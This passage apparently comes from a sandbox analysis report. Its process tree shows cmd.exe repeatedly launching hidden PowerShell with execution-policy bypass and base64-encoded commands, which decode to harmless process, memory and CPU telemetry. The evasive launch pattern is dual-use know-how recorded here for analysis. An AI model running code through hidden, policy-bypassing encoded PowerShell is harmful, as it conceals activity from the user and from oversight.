    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:2768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:2124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:1552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:6088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:4064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:2572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:4340
- C:\Windows\system32\cmd.exe
